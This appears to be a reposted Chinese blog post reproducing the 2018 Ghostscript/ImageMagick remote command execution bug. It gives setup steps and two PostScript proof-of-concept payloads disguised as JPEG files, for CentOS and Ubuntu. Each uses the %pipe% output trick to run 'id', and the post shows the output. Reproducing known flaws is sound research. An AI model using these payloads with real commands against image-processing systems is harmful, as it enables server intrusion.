imagemaick的ghost script RCE漏洞


20180822

爆出了ghost script存在遠程命令執行,所以,就復現驗證下。

1、確認系統是否安裝了gs

執行命令

gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null

如果命令沒有執行成功,那么恭喜你,你沒有這個漏洞

要想復現這個漏洞,那么你需要

yum install ghostscript

ubuntu

[root@srv62 ~]# cd /usr/local
[root@srv62 src]# wget http://ghostscript.com/releases/ghostscript-8.71.tar.gz
[root@srv62 src]# tar zxvf ghostscript-8.71.tar.gz
[root@srv62 src]# cd ghostscript-8.71
[root@srv62 ghostscript-8.71]# ./configure --prefix=/usr
[root@srv62 ghostscript-8.71]# mkdir obj
[root@srv62 ghostscript-8.71]# mkdir bin
[root@srv62 ghostscript-8.71]# make all
[root@srv62 ghostscript-8.71]# make install

 

2、命令執行成功了,說明系統已經安裝了ghost script,然后我們來構造poc

vim shell.jpe

 jpeg內容(centos)

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

然后執行

/usr/local/bin/convert shell.jpeg what.gif

現象:

uid=500(rong) gid=500(rong) groups=500(rong)
convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792  "-sOutputFile=/tmp/magick-55636ecO6hPgbKE2Y%d" "-f/tmp/magick-55636NeGRLWbqeU7E" "-f/tmp/magick-55636jIlkxkc2rfdl" -c showpage' (-1) @ error/utility.c/SystemCommand/2051.
convert: no images defined `what.gif' @ error/convert.c/ConvertImageCommand/3187

ubuntu環境下POC:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM